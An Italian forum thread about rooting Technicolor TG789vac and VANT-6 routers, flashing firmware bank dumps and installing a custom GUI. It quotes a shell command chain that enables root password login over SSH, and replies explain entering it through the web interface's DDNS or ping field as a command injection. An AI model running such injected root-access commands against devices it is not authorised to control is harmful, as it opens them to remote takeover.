P.S : il comando "sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.@coredump[0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart" mi dà errore
-
ma dove lo stai copiando? mettilo in /tmp o faglielo leggere da una pennina usb
la pagina web darà sempre errore sul ping.. ma devi solo eseguirlo in sequenza
-
Cioè ? che c'entra il ping ?
Il file l'ho messo in tmp ma se vedi bene la root ha solo 29 mega liberi .... come può fare ad entrarci un file da 48 ??
Provero a metterlo su una chiavetta come suggerisci e capire il sistema come la vede.
Invece per i comandi 'errore sembra su questa riga ( presa dal post 598 )
uci set system.[member=77439]coredump[/member][0].reboot='0'
Cambiando quanto sopra in :
uci set system.[member=77439]coredump[/member][0].reboot='0'E mettendo il file sulla chiavetta USB sembra andare a buon fine
-
si scusa intendevo il campo ddns come ti veniva detto qui https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg270498.html#msg270498 è normale ti dia errore, l'importante che inserisci prima una riga e poi l'altra salvando e l'accesso SSH dovresti averlo.
devi sostituire [member=77439]coredump[/member] con @ coredump senza spazio perchè il forum fa schifezze :D
/tmp non è root ma la RAM quindi non è quello lo spazio occupato, il contenuto di una chiavetta USB è in /mnt/usb/USB-A1/
-
Vatti a fidare del copia/imcolla
Corretta la stringa
/tmp non è root ma la RAM quindi non è quello lo spazio occupato, il contenuto di una chiavetta USB è in /mnt/usb/USB-A1/
Se trovi la ram occupata per liberare spazio
sync && echo 3 | tee /proc/sys/vm/drop_caches
-
O.T.
https://github.com/mswhirl/autoflashgui/issues/39
Grazie! Adesso funzion...erebbe se non ci fosse un bug su MacOs 11.1 che ho appena scoperto.... macOS 11 or later required ! :facepalm:
-
O.T.
Forse è collegato
https://stackoverflow.com/questions/65327533/gitk-dont-work-because-of-strange-error-macos-11-or-later-required
-
si scusa intendevo il campo ddns come ti veniva detto qui https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg270498.html#msg270498 è normale ti dia errore, l'importante che inserisci prima una riga e poi l'altra salvando e l'accesso SSH dovresti averlo.
devi sostituire [member=77439]coredump[/member] con @ coredump senza spazio perchè il forum fa schifezze :D
Infatti quello avevo visto e fatto. Poi ci ero arrivato da solo riflettendo al fatto che veniva sostituita la @ con il resto e lo volevo dire nella mia seconda citazione di codice .... solo che anche li ha sostituito la @
/tmp non è root ma la RAM quindi non è quello lo spazio occupato, il contenuto di una chiavetta USB è in /mnt/usb/USB-A1/
Mah .... a me sembrava proprio , dai log della seriale , che si lamentasse di spazio su "disco" non di RAM , passando il file il router è andato in crash e si è riavviato.
Per la chiavetta , come ho scritto poi sono riuscito , basta fare un df e vedi dove la monta e da li ho eseguito il comando "mtd write mtd3.dump bank_1"
Per tutto quello che ho potuto leggere in quà e in là posso solo dire che il mio proveniva sicuramente da un cliente business , messo in cacata ad un aethra , e nessuna porta di rete "Gialla" funzionava come ci si aspetterebbe normalmenete. ( solo per passare il firmware se mandato il route rin bootp )
Ovvero se mi collegavo con il cavo si accendeva la luce sulla presa di rete che segnalava il collegamento fisico ma sul router non si accendeva la spia della rete .
Di fatto non mi assegnava nessun ip e non mi rispondeva nulla in rete come se fossero interacce in bridge.
Solo sulla presa di rete Wan "Rossa" riuscivo a contattare il router all'ip 192.168.1.254 e ad avere una richiesta di login nel browser ( Administrator password vuota ).
Dopo vari e prorve , firmware e gui , ha invece cominciato a rispondere anche sulle ethernet gialle.
A conferma di questo non a caso nella seriale , solo dopo questi tentativi , riuscivo a vedere "HOMEWARE_CONFIG_ON_PASSIVE_BANK" e probabilmente si settava per uso casalingo e non business abilitanto o gestendo diversamente le network "Gialle"
-
Il tuo è un VANT-6, su bank_2 (Il flash va a buon fine ma il dispostivo in questo momento carica il firmware su un’altra parte di mermoria) segui questo schema e chiedi in quel post https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg254354.html#msg254354
In teoria ti potrebbe anche soltanto bastare il failboot forzato (guarda qua: https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg238225.html#msg238225)
Grandeee! Ce l'ho fatta grazie al tuo aiuto. Ho flashato per l'ennesima volta il vant-6_16.3.7636-2921002-20170419153951-718b590506a915e24be58946f4755c0c617d9c8d.rbi, poi ho riavviato 3 volte il modem tenendo premuto il tastino di reset e sono riuscito finalmente ad entrare nel firmware nuovo! Ho poi proceduto a "solidificare il root", installare la GUI di Ansuel e a copiare tutto nel secondo bank (cosi da non avere più nessun problema).
Mi sono cacato sotto quando dopo il primo riavvio dall'installazione della GUI di Ansuel i led hanno cominciato ad impazzire, poi però mi sono ricordato di aver abilitato il risparmio energetico :D
Tutto bene tutto contento :rotfl:
Solo una cosa, volevo abilitare la condivisione stampante ma quando vado sulla GUI e abilito il flag, quando salva torna a Off. Dai syslog non sembra succedere assolutamente nulla... :huh:
Adesso provo ad installare a manina p9100nd e a fare il lavoro sporco da CLI, vediamo se ce la si fa.
Il mio obiettivo è quello di installare CUPS e fare un server AirPrint per la mia vecchia Brother MFC-7420, con il TP-LINK W9980 non ci riuscii ma con il RaspberryPi si, adesso mi scervello su sto maledetto TG789vac, costi rebuildare CUPS a mano :evilgrin:
Grazie ancora, se funziona potrei fare anche una mini-guida... Dite che può interessare? O magari esiste già? :-\
-
qualcuno è riuscito ad abilitare la funzione mobile collegando una chiavetta 4g ?
dalla gui di Ansuel non mi fa abilitare il mobile
-
Il problema è "una chiavetta" in generale, visto che ce ne sono a quintali. Alcune funzionano out of the box, con altre bisogna smanettare poco o tanto a seconda dei casi, il linea di massima funziona.
-
sono stato un pò generico in quanto la chiavetta viene rilevata, ho guardato il log e vengono regolarmente create le ttyUSB0, ttyUSB1, ttyUSB2
cmq è una Vodafone K3715 (sbloccata)
-
Con il firmware Fastweb ho paura ci mancano pezzi per questo non riesci ad abilitare il mobile, la patch per fare funzionare quella pennina dovrebbe già essere integrata nella GUI.
https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg244615.html#msg244615
Metti il firmware TIM San Marino...
-
Grazie mille!!! puoi indicarmi dove reperire il firmware ?
-
https://hack-technicolor.readthedocs.io/en/latest/Repository/#tim-san-marino
-
https://hack-technicolor.readthedocs.io/en/latest/Repository/#tim-san-marino
grazie mille, è però una dump, sai dove stanno le istruzioni per flasharlo ?
dopo va sblocato ?
-
Sempre li https://hack-technicolor.readthedocs.io/en/stable/Upgrade/
-
Ciao, sono un possessore del modem router tg789vac xtream 35b (board VBNT-F) , con ultimo fw IAD di fastweb montato e rootato con gui ansuel.
Vedo che qui sul forum si parla del firmware tim san marino versione 16.3, quindi superiore alla ultima disponibile dal repo del provider fastweb. Ho provato diverse volte a flasharla sul modem ma sempre con esito negativo;
ho provato a caricarla sia da usb che da /tmp (quindi ram), con mtd write /nomefiledump bank_2 e bank_1 , ma fallisce sempre e devo riflashare il router via tftp.
Ho notato che il dump è effettivamente piu grande delle partizioni bank_1 e 2, puo essere sia questo il motivo per il quale non vada a buon fine? Qualcuno è riuscito a montarla sul modem, e magari riesce a passare un dump flashabile? Sono curioso di provare questa versione
-
Se hai scaricato questo è l'archivio giusto:
https://github.com/hack-technicolor/tch-bank-dumps/raw/master/vbnt-f/timsm-vbnt-f_16.3.7446-2921002-bank_dump.xz
Dipende come come lo decomprimi: alla fine devi avere un file di nome mtd3.dump.
Devi prima cancellare l'overlay.
L'ip del router non è più 192.168.1.254.
-
scusate se recupero questa vecchia discussione ma ho tra le mani il modem in oggetto e vorrei capire come fare. esiste una guida strutturata come per l'AGTOT o devo recuperare le info tra tutti i messaggi?
Se riesco con il root, che passaggi seguo per installare la gui ansuel?